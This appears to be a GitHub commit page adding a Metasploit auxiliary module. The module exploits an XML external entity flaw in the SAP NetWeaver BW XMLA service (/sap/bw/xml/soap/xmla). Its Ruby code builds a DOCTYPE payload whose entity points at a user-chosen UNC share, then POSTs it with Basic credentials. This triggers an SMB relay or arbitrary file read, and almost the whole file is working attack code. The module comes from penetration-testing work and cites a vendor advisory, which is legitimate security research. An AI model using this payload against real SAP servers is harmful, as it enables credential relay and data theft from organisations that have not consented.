Skip to content

Commit e840578

Browse files
committed
SAP /sap/bw/xml/soap/xmla XMLA service (XML DOCTYPE) SMB relay
1 parent dfcce01 commit e840578

File tree

1 file changed

+85
-0
lines changed

1 file changed

+85
-0
lines changed
Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
##
9+
# This module is based on, inspired by, or is a port of a plugin available in
10+
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
11+
# http://www.onapsis.com/research-free-solutions.php.
12+
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
13+
# in producing the Metasploit modules and was happy to share his knowledge and
14+
# experience - a very cool guy.
15+
#
16+
# The following guys from ERP-SCAN deserve credit for their contributions -
17+
# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and
18+
# Dmitry Evdokimov.
19+
#
20+
# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis
21+
# who have Beta tested the modules and provided excellent feedback. Some people
22+
# just seem to enjoy hacking SAP :)
23+
##
24+
25+
require 'msf/core'
26+
27+
class Metasploit4 < Msf::Auxiliary
28+
include Msf::Exploit::Remote::HttpClient
29+
include Msf::Auxiliary::Report
30+
include Msf::Auxiliary::Scanner
31+
32+
def initialize
33+
super(
34+
'Name' => 'SAP /sap/bw/xml/soap/xmla XMLA service (XML DOCTYPE) SMB relay',
35+
'Description' => %q{
36+
This module exploits the SAP NetWeaver BW XML External Entity vulnerability.
37+
An XML External Entities (XXE) issue exists within the XMLA service (XML DOCTYPE) function.
38+
The XXE vulnerability in SAP BW can lead to arbitary file reading or an SMBRelay attack.
39+
SAP Note 1597066 / DSECRG-12-033.
40+
},
41+
'References' => [['URL','http://erpscan.com/advisories/dsecrg-12-033-sap-basis-6-407-02-xml-external-entity/']],
42+
'Author' => ['nmonkee'],
43+
'License' => MSF_LICENSE
44+
)
45+
46+
register_options([
47+
OptString.new('CLIENT', [true, 'SAP client', nil]),
48+
OptString.new('USER', [true, 'Username', nil]),
49+
OptString.new('PASS', [true, 'Password', nil]),
50+
OptString.new('PATH',[true,'File path (e.g. \\xx.xx.xx.xx\share)',nil])
51+
], self.class)
52+
end
53+
54+
def run_host(ip)
55+
data = '<?xml version="1.0" encoding="utf-8" ?>'
56+
data = '<!DOCTYPE root ['
57+
data << '<!ENTITY foo SYSTEM "' + datastore['PATH'] + '">'
58+
data << ']>'
59+
data << '<in>&foo;</in>'
60+
user_pass = Rex::Text.encode_base64(datastore['USER'] + ":" + datastore['PASS'])
61+
begin
62+
print_status("[SAP] #{ip}:#{rport} - sending request for #{datastore['PATH']}")
63+
res = send_request_raw({
64+
'uri' => '/sap/bw/xml/soap/xmla?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
65+
'method' => 'POST',
66+
'data' => data,
67+
'headers' =>{
68+
'Content-Length' => data.size.to_s,
69+
'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
70+
'Authorization' => 'Basic ' + user_pass,
71+
'Content-Type' => 'text/xml; charset=UTF-8',}
72+
}, 45)
73+
if res
74+
if datastore['VERBOSE'] == true
75+
print_status("[SAP] #{rhost}:#{rport} - Error code: " + res.code.to_s)
76+
print_status("[SAP] #{rhost}:#{rport} - Error title: " + res.message.to_s)
77+
print_status("[SAP] #{rhost}:#{rport} - Error message: " + res.body.to_s)
78+
end
79+
end
80+
rescue ::Rex::ConnectionError
81+
print_error("#{rhost}:#{rport} - Unable to connect")
82+
return
83+
end
84+
end
85+
end

0 commit comments

Comments
 (0)